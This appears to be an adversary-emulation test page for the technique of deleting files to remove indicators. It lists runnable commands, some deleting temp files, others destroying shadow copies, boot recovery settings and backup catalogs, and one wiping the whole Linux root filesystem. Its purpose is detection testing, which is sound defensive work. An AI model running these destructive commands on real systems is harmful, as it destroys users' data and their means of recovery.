Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
Delete a single file from the temporary directory
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
file_to_delete | Path of file to delete | Path | /tmp/victim-files/a |
rm -f #{file_to_delete}
Recursively delete the temporary directory and all files contained within it
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
folder_to_delete | Path of folder to delete | Path | /tmp/victim-files |
rm -rf #{folder_to_delete}
Use the shred
command to overwrite the temporary file and then delete it
Supported Platforms: Linux
Name | Description | Type | Default Value |
---|---|---|---|
file_to_shred | Path of file to shred | Path | /tmp/victim-shred.txt |
shred -u #{file_to_shred}
Delete a single file from the temporary directory using cmd.exe
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
file_to_delete | Path of file to delete | Path | C:\Windows\Temp\victim-files-cmd\a |
del /f #{file_to_delete}
Recursively delete the temporary directory and all files contained within it using cmd.exe
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
folder_to_delete | Path of folder to delete | Path | C:\Windows\Temp\victim-files-cmd |
del /f /S #{folder_to_delete}
Delete a single file from the temporary directory using Powershell
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
file_to_delete | Path of file to delete | Path | C:\Windows\Temp\victim-files-ps\a |
Remove-Item -path "#{file_to_delete}"
Recursively delete the temporary directory and all files contained within it using Powershell
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
folder_to_delete | Path of folder to delete | Path | C:\Windows\Temp\victim-files-ps |
Remove-Item -path "#{folder_to_delete}" -recurse
Delete all volume shadow copies with vssadmin.exe
Supported Platforms: Windows
vssadmin.exe Delete Shadows /All /Quiet
Delete all volume shadow copies with wmic
Supported Platforms: Windows
wmic shadowcopy delete
This test leverages bcdedit
to remove boot-time recovery measures.
Supported Platforms: Windows
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
This test deletes Windows Backup catalogs.
Supported Platforms: Windows
wbadmin delete catalog -quiet
This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.
Supported Platforms: Linux, CentOS, Ubuntu
rm -rf / --no-preserve-root > /dev/null 2> /dev/null